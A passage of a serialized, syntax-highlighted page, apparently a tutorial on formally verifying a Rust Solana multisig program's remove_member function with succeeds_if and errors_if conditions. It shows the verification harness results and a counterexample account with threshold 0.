[\n",{"type":23,"tag":41,"props":25622,"children":25623},{"class":43,"line":195},[25624,25629],{"type":23,"tag":41,"props":25625,"children":25626},{"style":735},[25627],{"type":28,"value":25628},"            b\"squad\"",{"type":23,"tag":41,"props":25630,"children":25631},{"style":70},[25632],{"type":28,"value":3506},{"type":23,"tag":41,"props":25634,"children":25635},{"class":43,"line":905},[25636,25641,25645,25650,25654],{"type":23,"tag":41,"props":25637,"children":25638},{"style":70},[25639],{"type":28,"value":25640},"            multisig",{"type":23,"tag":41,"props":25642,"children":25643},{"style":170},[25644],{"type":28,"value":706},{"type":23,"tag":41,"props":25646,"children":25647},{"style":70},[25648],{"type":28,"value":25649},"create_key",{"type":23,"tag":41,"props":25651,"children":25652},{"style":170},[25653],{"type":28,"value":706},{"type":23,"tag":41,"props":25655,"children":25656},{"style":70},[25657],{"type":28,"value":25658},"as_ref(),\n",{"type":23,"tag":41,"props":25660,"children":25661},{"class":43,"line":922},[25662],{"type":23,"tag":41,"props":25663,"children":25664},{"style":735},[25665],{"type":28,"value":25666},"            b\"multisig\"\n",{"type":23,"tag":41,"props":25668,"children":25669},{"class":43,"line":930},[25670,25675,25680,25684,25688,25692],{"type":23,"tag":41,"props":25671,"children":25672},{"style":70},[25673],{"type":28,"value":25674},"        ], ",{"type":23,"tag":41,"props":25676,"children":25677},{"style":858},[25678],{"type":28,"value":25679},"bump",{"type":23,"tag":41,"props":25681,"children":25682},{"style":170},[25683],{"type":28,"value":3017},{"type":23,"tag":41,"props":25685,"children":25686},{"style":858},[25687],{"type":28,"value":23072},{"type":23,"tag":41,"props":25689,"children":25690},{"style":170},[25691],{"type":28,"value":706},{"type":23,"tag":41,"props":25693,"children":25694},{"style":70},[25695],{"type":28,"value":23052},{"type":23,"tag":41,"props":25697,"children":25698},{"class":43,"line":939},[25699],{"type":23,"tag":41,"props":25700,"children":25701},{"style":70},[25702],{"type":28,"value":23060},{"type":23,"tag":41,"props":25704,"children":25705},{"class":43,"line":947},[25706,25710,25715,25719,25723,25727,25731],{"type":23,"tag":41,"props":25707,"children":25708},{"style":64},[25709],{"type":28,"value":20830},{"type":23,"tag":41,"props":25711,"children":25712},{"style":858},[25713],{"type":28,"value":25714}," multisig_auth",{"type":23,"tag":41,"props":25716,"children":25717},{"style":170},[25718],{"type":28,"value":1474},{"type":23,"tag":41,"props":25720,"children":25721},{"style":94},[25722],{"type":28,"value":23145},{"type":23,"tag":41,"props":25724,"children":25725},{"style":70},[25726],{"type":28,"value":22909},{"type":23,"tag":41,"props":25728,"children":25729},{"style":94},[25730],{"type":28,"value":22914},{"type":23,"tag":41,"props":25732,"children":25733},{"style":70},[25734],{"type":28,"value":6136},{"type":23,"tag":41,"props":25736,"children":25737},{"class":43,"line":985},[25738],{"type":23,"tag":41,"props":25739,"children":25740},{"style":70},[25741],{"type":28,"value":201},{"type":23,"tag":41,"props":25743,"children":25744},{"class":43,"line":1058},[25745],{"type":23,"tag":41,"props":25746,"children":25747},{"emptyLinePlaceholder":18},[25748],{"type":28,"value":82},{"type":23,"tag":41,"props":25750,"children":25751},{"class":43,"line":1084},[25752,25756,25760,25765,25769,25773,25777,25781,25785,25790,25794,25799,25803,25807,25811,25815,25819],{"type":23,"tag":41,"props":25753,"children":25754},{"style":64},[25755],{"type":28,"value":13685},{"type":23,"tag":41,"props":25757,"children":25758},{"style":64},[25759],{"type":28,"value":13690},{"type":23,"tag":41,"props":25761,"children":25762},{"style":114},[25763],{"type":28,"value":25764}," remove_member",{"type":23,"tag":41,"props":25766,"children":25767},{"style":70},[25768],{"type":28,"value":1737},{"type":23,"tag":41,"props":25770,"children":25771},{"style":858},[25772],{"type":28,"value":20269},{"type":23,"tag":41,"props":25774,"children":25775},{"style":170},[25776],{"type":28,"value":1474},{"type":23,"tag":41,"props":25778,"children":25779},{"style":94},[25780],{"type":28,"value":20278},{"type":23,"tag":41,"props":25782,"children":25783},{"style":70},[25784],{"type":28,"value":1012},{"type":23,"tag":41,"props":25786,"children":25787},{"style":94},[25788],{"type":28,"value":25789},"MsAuth",{"type":23,"tag":41,"props":25791,"children":25792},{"style":70},[25793],{"type":28,"value":6629},{"type":23,"tag":41,"props":25795,"children":25796},{"style":858},[25797],{"type":28,"value":25798},"old_member",{"type":23,"tag":41,"props":25800,"children":25801},{"style":170},[25802],{"type":28,"value":1474},{"type":23,"tag":41,"props":25804,"children":25805},{"style":94},[25806],{"type":28,"value":20844},{"type":23,"tag":41,"props":25808,"children":25809},{"style":70},[25810],{"type":28,"value":866},{"type":23,"tag":41,"props":25812,"children":25813},{"style":170},[25814],{"type":28,"value":2453},{"type":23,"tag":41,"props":25816,"children":25817},{"style":94},[25818],{"type":28,"value":13756},{"type":23,"tag":41,"props":25820,"children":25821},{"style":70},[25822],{"type":28,"value":20320},{"type":23,"tag":41,"props":25824,"children":25825},{"class":43,"line":1102},[25826],{"type":23,"tag":41,"props":25827,"children":25828},{"style":48},[25829],{"type":28,"value":25830},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":41,"props":25832,"children":25833},{"class":43,"line":1110},[25834,25838,25843,25847,25851,25855,25859,25863,25867,25871,25875,25879,25883,25887],{"type":23,"tag":41,"props":25835,"children":25836},{"style":58},[25837],{"type":28,"value":2440},{"type":23,"tag":41,"props":25839,"children":25840},{"style":858},[25841],{"type":28,"value":25842}," ctx",{"type":23,"tag":41,"props":25844,"children":25845},{"style":170},[25846],{"type":28,"value":706},{"type":23,"tag":41,"props":25848,"children":25849},{"style":70},[25850],{"type":28,"value":14667},{"type":23,"tag":41,"props":25852,"children":25853},{"style":170},[25854],{"type":28,"value":706},{"type":23,"tag":41,"props":25856,"children":25857},{"style":70},[25858],{"type":28,"value":23803},{"type":23,"tag":41,"props":25860,"children":25861},{"style":170},[25862],{"type":28,"value":706},{"type":23,"tag":41,"props":25864,"children":25865},{"style":70},[25866],{"type":28,"value":20970},{"type":23,"tag":41,"props":25868,"children":25869},{"style":170},[25870],{"type":28,"value":706},{"type":23,"tag":41,"props":25872,"children":25873},{"style":114},[25874],{"type":28,"value":9136},{"type":23,"tag":41,"props":25876,"children":25877},{"style":70},[25878],{"type":28,"value":122},{"type":23,"tag":41,"props":25880,"children":25881},{"style":170},[25882],{"type":28,"value":387},{"type":23,"tag":41,"props":25884,"children":25885},{"style":164},[25886],{"type":28,"value":167},{"type":23,"tag":41,"props":25888,"children":25889},{"style":70},[25890],{"type":28,"value":102},{"type":23,"tag":41,"props":25892,"children":25893},{"class":43,"line":1118},[25894,25898,25902,25906,25910,25914,25919],{"type":23,"tag":41,"props":25895,"children":25896},{"style":58},[25897],{"type":28,"value":161},{"type":23,"tag":41,"props":25899,"children":25900},{"style":114},[25901],{"type":28,"value":23506},{"type":23,"tag":41,"props":25903,"children":25904},{"style":70},[25905],{"type":28,"value":1737},{"type":23,"tag":41,"props":25907,"children":25908},{"style":94},[25909],{"type":28,"value":23515},{"type":23,"tag":41,"props":25911,"children":25912},{"style":170},[25913],{"type":28,"value":3479},{"type":23,"tag":41,"props":25915,"children":25916},{"style":94},[25917],{"type":28,"value":25918},"CannotRemoveSoloMember",{"type":23,"tag":41,"props":25920,"children":25921},{"style":70},[25922],{"type":28,"value":3825},{"type":23,"tag":41,"props":25924,"children":25925},{"class":43,"line":1137},[25926],{"type":23,"tag":41,"props":25927,"children":25928},{"style":70},[25929],{"type":28,"value":192},{"type":23,"tag":41,"props":25931,"children":25932},{"class":43,"line":1163},[25933,25937,25941,25945,25949,25953,25957,25961,25965,25969,25973,25977],{"type":23,"tag":41,"props":25934,"children":25935},{"style":858},[25936],{"type":28,"value":20212},{"type":23,"tag":41,"props":25938,"children":25939},{"style":170},[25940],{"type":28,"value":706},{"type":23,"tag":41,"props":25942,"children":25943},{"style":70},[25944],{"type":28,"value":14667},{"type":23,"tag":41,"props":25946,"children":25947},{"style":170},[25948],{"type":28,"value":706},{"type":23,"tag":41,"props":25950,"children":25951},{"style":70},[25952],{"type":28,"value":23803},{"type":23,"tag":41,"props":25954,"children":25955},{"style":170},[25956],{"type":28,"value":706},{"type":23,"tag":41,"props":25958,"children":25959},{"style":114},[25960],{"type":28,"value":25465},{"type":23,"tag":41,"props":25962,"children":25963},{"style":70},[25964],{"type":28,"value":1737},{"type":23,"tag":41,"props":25966,"children":25967},{"style":858},[25968],{"type":28,"value":25798},{"type":23,"tag":41,"props":25970,"children":25971},{"style":70},[25972],{"type":28,"value":2678},{"type":23,"tag":41,"props":25974,"children":25975},{"style":170},[25976],{"type":28,"value":3155},{"type":23,"tag":41,"props":25978,"children":25979},{"style":70},[25980],{"type":28,"value":183},{"type":23,"tag":41,"props":25982,"children":25983},{"class":43,"line":1188},[25984],{"type":23,"tag":41,"props":25985,"children":25986},{"emptyLinePlaceholder":18},[25987],{"type":28,"value":82},{"type":23,"tag":41,"props":25989,"children":25990},{"class":43,"line":1979},[25991],{"type":23,"tag":41,"props":25992,"children":25993},{"style":48},[25994],{"type":28,"value":25995},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":41,"props":25997,"children":25998},{"class":43,"line":2002},[25999,26003,26007,26011,26015,26019,26023,26027,26031,26035,26039,26044,26048,26052,26056,26060,26064,26068,26072,26076,26080,26084],{"type":23,"tag":41,"props":26000,"children":26001},{"style":58},[26002],{"type":28,"value":2440},{"type":23,"tag":41,"props":26004,"children":26005},{"style":858},[26006],{"type":28,"value":25842},{"type":23,"tag":41,"props":26008,"children":26009},{"style":170},[26010],{"type":28,"value":706},{"type":23,"tag":41,"props":26012,"children":26013},{"style":70},[26014],{"type":28,"value":14667},{"type":23,"tag":41,"props":26016,"children":26017},{"style":170},[26018],{"type":28,"value":706},{"type":23,"tag":41,"props":26020,"children":26021},{"style":70},[26022],{"type":28,"value":23803},{"type":23,"tag":41,"props":26024,"children":26025},{"style":170},[26026],{"type":28,"value":706},{"type":23,"tag":41,"props":26028,"children":26029},{"style":70},[26030],{"type":28,"value":20970},{"type":23,"tag":41,"props":26032,"children":26033},{"style":170},[26034],{"type":28,"value":706},{"type":23,"tag":41,"props":26036,"children":26037},{"style":114},[26038],{"type":28,"value":9136},{"type":23,"tag":41,"props":26040,"children":26041},{"style":70},[26042],{"type":28,"value":26043},"() \u003C ",{"type":23,"tag":41,"props":26045,"children":26046},{"style":94},[26047],{"type":28,"value":16589},{"type":23,"tag":41,"props":26049,"children":26050},{"style":170},[26051],{"type":28,"value":3479},{"type":23,"tag":41,"props":26053,"children":26054},{"style":114},[26055],{"type":28,"value":19461},{"type":23,"tag":41,"props":26057,"children":26058},{"style":70},[26059],{"type":28,"value":1737},{"type":23,"tag":41,"props":26061,"children":26062},{"style":858},[26063],{"type":28,"value":20269},{"type":23,"tag":41,"props":26065,"children":26066},{"style":170},[26067],{"type":28,"value":706},{"type":23,"tag":41,"props":26069,"children":26070},{"style":70},[26071],{"type":28,"value":14667},{"type":23,"tag":41,"props":26073,"children":26074},{"style":170},[26075],{"type":28,"value":706},{"type":23,"tag":41,"props":26077,"children":26078},{"style":70},[26079],{"type":28,"value":23803},{"type":23,"tag":41,"props":26081,"children":26082},{"style":170},[26083],{"type":28,"value":706},{"type":23,"tag":41,"props":26085,"children":26086},{"style":70},[26087],{"type":28,"value":26088},"threshold) {\n",{"type":23,"tag":41,"props":26090,"children":26091},{"class":43,"line":3835},[26092,26096,26101,26105,26109,26113,26117,26121,26125,26129,26133,26137,26141,26145,26149,26153,26157,26162,26166,26170,26174],{"type":23,"tag":41,"props":26093,"children":26094},{"style":64},[26095],{"type":28,"value":3066},{"type":23,"tag":41,"props":26097,"children":26098},{"style":858},[26099],{"type":28,"value":26100}," new_threshold",{"type":23,"tag":41,"props":26102,"children":26103},{"style":170},[26104],{"type":28,"value":1474},{"type":23,"tag":41,"props":26106,"children":26107},{"style":94},[26108],{"type":28,"value":21017},{"type":23,"tag":41,"props":26110,"children":26111},{"style":170},[26112],{"type":28,"value":3017},{"type":23,"tag":41,"props":26114,"children":26115},{"style":858},[26116],{"type":28,"value":25842},{"type":23,"tag":41,"props":26118,"children":26119},{"style":170},[26120],{"type":28,"value":706},{"type":23,"tag":41,"props":26122,"children":26123},{"style":70},[26124],{"type":28,"value":14667},{"type":23,"tag":41,"props":26126,"children":26127},{"style":170},[26128],{"type":28,"value":706},{"type":23,"tag":41,"props":26130,"children":26131},{"style":70},[26132],{"type":28,"value":23803},{"type":23,"tag":41,"props":26134,"children":26135},{"style":170},[26136],{"type":28,"value":706},{"type":23,"tag":41,"props":26138,"children":26139},{"style":70},[26140],{"type":28,"value":20970},{"type":23,"tag":41,"props":26142,"children":26143},{"style":170},[26144],{"type":28,"value":706},{"type":23,"tag":41,"props":26146,"children":26147},{"style":114},[26148],{"type":28,"value":9136},{"type":23,"tag":41,"props":26150,"children":26151},{"style":70},[26152],{"type":28,"value":13873},{"type":23,"tag":41,"props":26154,"children":26155},{"style":170},[26156],{"type":28,"value":706},{"type":23,"tag":41,"props":26158,"children":26159},{"style":114},[26160],{"type":28,"value":26161},"try_into",{"type":23,"tag":41,"props":26163,"children":26164},{"style":70},[26165],{"type":28,"value":13873},{"type":23,"tag":41,"props":26167,"children":26168},{"style":170},[26169],{"type":28,"value":706},{"type":23,"tag":41,"props":26171,"children":26172},{"style":114},[26173],{"type":28,"value":3664},{"type":23,"tag":41,"props":26175,"children":26176},{"style":70},[26177],{"type":28,"value":3669},{"type":23,"tag":41,"props":26179,"children":26180},{"class":43,"line":3895},[26181,26186,26190,26194,26198,26202,26206,26211,26215,26220,26224,26228],{"type":23,"tag":41,"props":26182,"children":26183},{"style":858},[26184],{"type":28,"value":26185},"        ctx",{"type":23,"tag":41,"props":26187,"children":26188},{"style":170},[26189],{"type":28,"value":706},{"type":23,"tag":41,"props":26191,"children":26192},{"style":70},[26193],{"type":28,"value":14667},{"type":23,"tag":41,"props":26195,"children":26196},{"style":170},[26197],{"type":28,"value":706},{"type":23,"tag":41,"props":26199,"children":26200},{"style":70},[26201],{"type":28,"value":23803},{"type":23,"tag":41,"props":26203,"children":26204},{"style":170},[26205],{"type":28,"value":706},{"type":23,"tag":41,"props":26207,"children":26208},{"style":114},[26209],{"type":28,"value":26210},"change_threshold",{"type":23,"tag":41,"props":26212,"children":26213},{"style":70},[26214],{"type":28,"value":1737},{"type":23,"tag":41,"props":26216,"children":26217},{"style":858},[26218],{"type":28,"value":26219},"new_threshold",{"type":23,"tag":41,"props":26221,"children":26222},{"style":70},[26223],{"type":28,"value":2678},{"type":23,"tag":41,"props":26225,"children":26226},{"style":170},[26227],{"type":28,"value":3155},{"type":23,"tag":41,"props":26229,"children":26230},{"style":70},[26231],{"type":28,"value":183},{"type":23,"tag":41,"props":26233,"children":26234},{"class":43,"line":9044},[26235],{"type":23,"tag":41,"props":26236,"children":26237},{"style":70},[26238],{"type":28,"value":192},{"type":23,"tag":41,"props":26240,"children":26241},{"class":43,"line":9061},[26242,26246,26251,26255,26259,26263,26267,26271,26275,26279],{"type":23,"tag":41,"props":26243,"children":26244},{"style":64},[26245],{"type":28,"value":3002},{"type":23,"tag":41,"props":26247,"children":26248},{"style":858},[26249],{"type":28,"value":26250}," new_index",{"type":23,"tag":41,"props":26252,"children":26253},{"style":170},[26254],{"type":28,"value":3017},{"type":23,"tag":41,"props":26256,"children":26257},{"style":858},[26258],{"type":28,"value":25842},{"type":23,"tag":41,"props":26260,"children":26261},{"style":170},[26262],{"type":28,"value":706},{"type":23,"tag":41,"props":26264,"children":26265},{"style":70},[26266],{"type":28,"value":14667},{"type":23,"tag":41,"props":26268,"children":26269},{"style":170},[26270],{"type":28,"value":706},{"type":23,"tag":41,"props":26272,"children":26273},{"style":70},[26274],{"type":28,"value":23803},{"type":23,"tag":41,"props":26276,"children":26277},{"style":170},[26278],{"type":28,"value":706},{"type":23,"tag":41,"props":26280,"children":26281},{"style":70},[26282],{"type":28,"value":26283},"transaction_index;\n",{"type":23,"tag":41,"props":26285,"children":26286},{"class":43,"line":9106},[26287,26291,26295,26299,26303,26307,26311,26316,26320,26325],{"type":23,"tag":41,"props":26288,"children":26289},{"style":858},[26290],{"type":28,"value":20212},{"type":23,"tag":41,"props":26292,"children":26293},{"style":170},[26294],{"type":28,"value":706},{"type":23,"tag":41,"props":26296,"children":26297},{"style":70},[26298],{"type":28,"value":14667},{"type":23,"tag":41,"props":26300,"children":26301},{"style":170},[26302],{"type":28,"value":706},{"type":23,"tag":41,"props":26304,"children":26305},{"style":70},[26306],{"type":28,"value":23803},{"type":23,"tag":41,"props":26308,"children":26309},{"style":170},[26310],{"type":28,"value":706},{"type":23,"tag":41,"props":26312,"children":26313},{"style":114},[26314],{"type":28,"value":26315},"set_change_index",{"type":23,"tag":41,"props":26317,"children":26318},{"style":70},[26319],{"type":28,"value":1737},{"type":23,"tag":41,"props":26321,"children":26322},{"style":858},[26323],{"type":28,"value":26324},"new_index",{"type":23,"tag":41,"props":26326,"children":26327},{"style":70},[26328],{"type":28,"value":1969},{"type":23,"tag":41,"props":26330,"children":26331},{"class":43,"line":9212},[26332],{"type":23,"tag":41,"props":26333,"children":26334},{"style":70},[26335],{"type":28,"value":201},{"type":23,"tag":24,"props":26337,"children":26338},{},[26339,26341,26346],{"type":28,"value":26340},"First let's establish the ",{"type":23,"tag":37,"props":26342,"children":26344},{"className":26343},[],[26345],{"type":28,"value":20143},{"type":28,"value":26347}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":31,"props":26349,"children":26351},{"code":26350,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[26352],{"type":23,"tag":37,"props":26353,"children":26354},{"__ignoreMap":7},[26355,26362,26409,26416],{"type":23,"tag":41,"props":26356,"children":26357},{"class":43,"line":44},[26358],{"type":23,"tag":41,"props":26359,"children":26360},{"style":70},[26361],{"type":28,"value":24110},{"type":23,"tag":41,"props":26363,"children":26364},{"class":43,"line":54},[26365,26369,26373,26377,26381,26385,26389,26393,26397,26401,26405],{"type":23,"tag":41,"props":26366,"children":26367},{"style":70},[26368],{"type":28,"value":20212},{"type":23,"tag":41,"props":26370,"children":26371},{"style":170},[26372],{"type":28,"value":706},{"type":23,"tag":41,"props":26374,"children":26375},{"style":70},[26376],{"type":28,"value":14667},{"type":23,"tag":41,"props":26378,"children":26379},{"style":170},[26380],{"type":28,"value":706},{"type":23,"tag":41,"props":26382,"children":26383},{"style":70},[26384],{"type":28,"value":23803},{"type":23,"tag":41,"props":26386,"children":26387},{"style":170},[26388],{"type":28,"value":706},{"type":23,"tag":41,"props":26390,"children":26391},{"style":70},[26392],{"type":28,"value":20970},{"type":23,"tag":41,"props":26394,"children":26395},{"style":170},[26396],{"type":28,"value":706},{"type":23,"tag":41,"props":26398,"children":26399},{"style":70},[26400],{"type":28,"value":21008},{"type":23,"tag":41,"props":26402,"children":26403},{"style":170},[26404],{"type":28,"value":1022},{"type":23,"tag":41,"props":26406,"children":26407},{"style":70},[26408],{"type":28,"value":19430},{"type":23,"tag":41,"props":26410,"children":26411},{"class":43,"line":76},[26412],{"type":23,"tag":41,"props":26413,"children":26414},{"style":70},[26415],{"type":28,"value":20247},{"type":23,"tag":41,"props":26417,"children":26418},{"class":43,"line":85},[26419,26423,26427,26431,26435,26439,26443],{"type":23,"tag":41,"props":26420,"children":26421},{"style":64},[26422],{"type":28,"value":20255},{"type":23,"tag":41,"props":26424,"children":26425},{"style":114},[26426],{"type":28,"value":25764},{"type":23,"tag":41,"props":26428,"children":26429},{"style":70},[26430],{"type":28,"value":1737},{"type":23,"tag":41,"props":26432,"children":26433},{"style":170},[26434],{"type":28,"value":9589},{"type":23,"tag":41,"props":26436,"children":26437},{"style":70},[26438],{"type":28,"value":23987},{"type":23,"tag":41,"props":26440,"children":26441},{"style":170},[26442],{"type":28,"value":9589},{"type":23,"tag":41,"props":26444,"children":26445},{"style":70},[26446],{"type":28,"value":9594},{"type":23,"tag":24,"props":26448,"children":26449},{},[26450,26452,26457],{"type":28,"value":26451},"And for now let's remove the invariant on the ",{"type":23,"tag":37,"props":26453,"children":26455},{"className":26454},[],[26456],{"type":28,"value":22728},{"type":28,"value":26458}," account:",{"type":23,"tag":31,"props":26460,"children":26462},{"code":26461,"language":2981,"meta":7,"className":2982,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[26463],{"type":23,"tag":37,"props":26464,"children":26465},{"__ignoreMap":7},[26466,26474],{"type":23,"tag":41,"props":26467,"children":26468},{"class":43,"line":44},[26469],{"type":23,"tag":41,"props":26470,"children":26471},{"style":70},[26472],{"type":28,"value":26473},"#[invariant()]\n",{"type":23,"tag":41,"props":26475,"children":26476},{"class":43,"line":54},[26477,26481,26485,26489,26493,26497],{"type":23,"tag":41,"props":26478,"children":26479},{"style":64},[26480],{"type":28,"value":13685},{"type":23,"tag":41,"props":26482,"children":26483},{"style":64},[26484],{"type":28,"value":21138},{"type":23,"tag":41,"props":26486,"children":26487},{"style":94},[26488],{"type":28,"value":21143},{"type":23,"tag":41,"props":26490,"children":26491},{"style":70},[26492],{"type":28,"value":9584},{"type":23,"tag":41,"props":26494,"children":26495},{"style":170},[26496],{"type":28,"value":9589},{"type":23,"tag":41,"props":26498,"children":26499},{"style":70},[26500],{"type":28,"value":9594},{"type":23,"tag":24,"props":26502,"children":26503},{},[26504],{"type":28,"value":26505},"Let's test this!",{"type":23,"tag":24,"props":26507,"children":26508},{},[26509,26511,26516],{"type":28,"value":26510},"Our ",{"type":23,"tag":37,"props":26512,"children":26514},{"className":26513},[],[26515],{"type":28,"value":20143},{"type":28,"value":26517}," harness produces:",{"type":23,"tag":31,"props":26519,"children":26521},{"code":26520},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26522],{"type":23,"tag":37,"props":26523,"children":26524},{"__ignoreMap":7},[26525],{"type":28,"value":26520},{"type":23,"tag":24,"props":26527,"children":26528},{},[26529],{"type":28,"value":26530},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":23,"tag":24,"props":26532,"children":26533},{},[26534,26536,26541],{"type":28,"value":26535},"However, remember that since ",{"type":23,"tag":37,"props":26537,"children":26539},{"className":26538},[],[26540],{"type":28,"value":20143},{"type":28,"value":26542}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":23,"tag":24,"props":26544,"children":26545},{},[26546,26548,26553,26555,26560,26562,26567],{"type":28,"value":26547},"Suppose we want to be sure that this condition is the ",{"type":23,"tag":2913,"props":26549,"children":26550},{},[26551],{"type":28,"value":26552},"only condition",{"type":28,"value":26554}," in which the function will succeed (i.e. ",{"type":23,"tag":2913,"props":26556,"children":26557},{},[26558],{"type":28,"value":26559},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":26561},"). We could attempt to verify the other side of this with an ",{"type":23,"tag":37,"props":26563,"children":26565},{"className":26564},[],[26566],{"type":28,"value":20150},{"type":28,"value":26568}," macro such as:",{"type":23,"tag":31,"props":26570,"children":26572},{"code":26571,"language":2981,"meta":7,"className":2982,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[26573],{"type":23,"tag":37,"props":26574,"children":26575},{"__ignoreMap":7},[26576,26583,26630,26637,26644,26691,26698],{"type":23,"tag":41,"props":26577,"children":26578},{"class":43,"line":44},[26579],{"type":23,"tag":41,"props":26580,"children":26581},{"style":70},[26582],{"type":28,"value":24110},{"type":23,"tag":41,"props":26584,"children":26585},{"class":43,"line":54},[26586,26590,26594,26598,26602,26606,26610,26614,26618,26622,26626],{"type":23,"tag":41,"props":26587,"children":26588},{"style":70},[26589],{"type":28,"value":20212},{"type":23,"tag":41,"props":26591,"children":26592},{"style":170},[26593],{"type":28,"value":706},{"type":23,"tag":41,"props":26595,"children":26596},{"style":70},[26597],{"type":28,"value":14667},{"type":23,"tag":41,"props":26599,"children":26600},{"style":170},[26601],{"type":28,"value":706},{"type":23,"tag":41,"props":26603,"children":26604},{"style":70},[26605],{"type":28,"value":23803},{"type":23,"tag":41,"props":26607,"children":26608},{"style":170},[26609],{"type":28,"value":706},{"type":23,"tag":41,"props":26611,"children":26612},{"style":70},[26613],{"type":28,"value":20970},{"type":23,"tag":41,"props":26615,"children":26616},{"style":170},[26617],{"type":28,"value":706},{"type":23,"tag":41,"props":26619,"children":26620},{"style":70},[26621],{"type":28,"value":21008},{"type":23,"tag":41,"props":26623,"children":26624},{"style":170},[26625],{"type":28,"value":1022},{"type":23,"tag":41,"props":26627,"children":26628},{"style":70},[26629],{"type":28,"value":19430},{"type":23,"tag":41,"props":26631,"children":26632},{"class":43,"line":76},[26633],{"type":23,"tag":41,"props":26634,"children":26635},{"style":70},[26636],{"type":28,"value":20247},{"type":23,"tag":41,"props":26638,"children":26639},{"class":43,"line":85},[26640],{"type":23,"tag":41,"props":26641,"children":26642},{"style":70},[26643],{"type":28,"value":20204},{"type":23,"tag":41,"props":26645,"children":26646},{"class":43,"line":105},[26647,26651,26655,26659,26663,26667,26671,26675,26679,26683,26687],{"type":23,"tag":41,"props":26648,"children":26649},{"style":70},[26650],{"type":28,"value":20212},{"type":23,"tag":41,"props":26652,"children":26653},{"style":170},[26654],{"type":28,"value":706},{"type":23,"tag":41,"props":26656,"children":26657},{"style":70},[26658],{"type":28,"value":14667},{"type":23,"tag":41,"props":26660,"children":26661},{"style":170},[26662],{"type":28,"value":706},{"type":23,"tag":41,"props":26664,"children":26665},{"style":70},[26666],{"type":28,"value":23803},{"type":23,"tag":41,"props":26668,"children":26669},{"style":170},[26670],{"type":28,"value":706},{"type":23,"tag":41,"props":26672,"children":26673},{"style":70},[26674],{"type":28,"value":20970},{"type":23,"tag":41,"props":26676,"children":26677},{"style":170},[26678],{"type":28,"value":706},{"type":23,"tag":41,"props":26680,"children":26681},{"style":70},[26682],{"type":28,"value":21008},{"type":23,"tag":41,"props":26684,"children":26685},{"style":170},[26686],{"type":28,"value":19402},{"type":23,"tag":41,"props":26688,"children":26689},{"style":70},[26690],{"type":28,"value":19430},{"type":23,"tag":41,"props":26692,"children":26693},{"class":43,"line":155},[26694],{"type":23,"tag":41,"props":26695,"children":26696},{"style":70},[26697],{"type":28,"value":20247},{"type":23,"tag":41,"props":26699,"children":26700},{"class":43,"line":186},[26701,26705,26709,26713,26717,26721,26725],{"type":23,"tag":41,"props":26702,"children":26703},{"style":64},[26704],{"type":28,"value":20255},{"type":23,"tag":41,"props":26706,"children":26707},{"style":114},[26708],{"type":28,"value":25764},{"type":23,"tag":41,"props":26710,"children":26711},{"style":70},[26712],{"type":28,"value":1737},{"type":23,"tag":41,"props":26714,"children":26715},{"style":170},[26716],{"type":28,"value":9589},{"type":23,"tag":41,"props":26718,"children":26719},{"style":70},[26720],{"type":28,"value":23987},{"type":23,"tag":41,"props":26722,"children":26723},{"style":170},[26724],{"type":28,"value":9589},{"type":23,"tag":41,"props":26726,"children":26727},{"style":70},[26728],{"type":28,"value":9594},{"type":23,"tag":24,"props":26730,"children":26731},{},[26732,26734,26739],{"type":28,"value":26733},"Let's test this, we just need to run the new ",{"type":23,"tag":37,"props":26735,"children":26737},{"className":26736},[],[26738],{"type":28,"value":20150},{"type":28,"value":26740}," harness:",{"type":23,"tag":31,"props":26742,"children":26744},{"code":26743},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[26745],{"type":23,"tag":37,"props":26746,"children":26747},{"__ignoreMap":7},[26748],{"type":28,"value":26743},{"type":23,"tag":24,"props":26750,"children":26751},{},[26752],{"type":28,"value":26753},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":23,"tag":31,"props":26755,"children":26757},{"code":26756,"language":2981,"meta":7,"className":2982,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[26758],{"type":23,"tag":37,"props":26759,"children":26760},{"__ignoreMap":7},[26761,26772,26791,26810,26829,26848,26867,26886,26905,26924,26943,26963,26982,26989,26996,27023],{"type":23,"tag":41,"props":26762,"children":26763},{"class":43,"line":44},[26764,26768],{"type":23,"tag":41,"props":26765,"children":26766},{"style":94},[26767],{"type":28,"value":17132},{"type":23,"tag":41,"props":26769,"children":26770},{"style":70},[26771],{"type":28,"value":102},{"type":23,"tag":41,"props":26773,"children":26774},{"class":43,"line":54},[26775,26779,26783,26787],{"type":23,"tag":41,"props":26776,"children":26777},{"style":858},[26778],{"type":28,"value":25170},{"type":23,"tag":41,"props":26780,"children":26781},{"style":170},[26782],{"type":28,"value":1474},{"type":23,"tag":41,"props":26784,"children":26785},{"style":94},[26786],{"type":28,"value":21143},{"type":23,"tag":41,"props":26788,"children":26789},{"style":70},[26790],{"type":28,"value":102},{"type":23,"tag":41,"props":26792,"children":26793},{"class":43,"line":76},[26794,26798,26802,26806],{"type":23,"tag":41,"props":26795,"children":26796},{"style":858},[26797],{"type":28,"value":23824},{"type":23,"tag":41,"props":26799,"children":26800},{"style":170},[26801],{"type":28,"value":1474},{"type":23,"tag":41,"props":26803,"children":26804},{"style":164},[26805],{"type":28,"value":392},{"type":23,"tag":41,"props":26807,"children":26808},{"style":70},[26809],{"type":28,"value":3506},{"type":23,"tag":41,"props":26811,"children":26812},{"class":43,"line":85},[26813,26817,26821,26825],{"type":23,"tag":41,"props":26814,"children":26815},{"style":858},[26816],{"type":28,"value":25210},{"type":23,"tag":41,"props":26818,"children":26819},{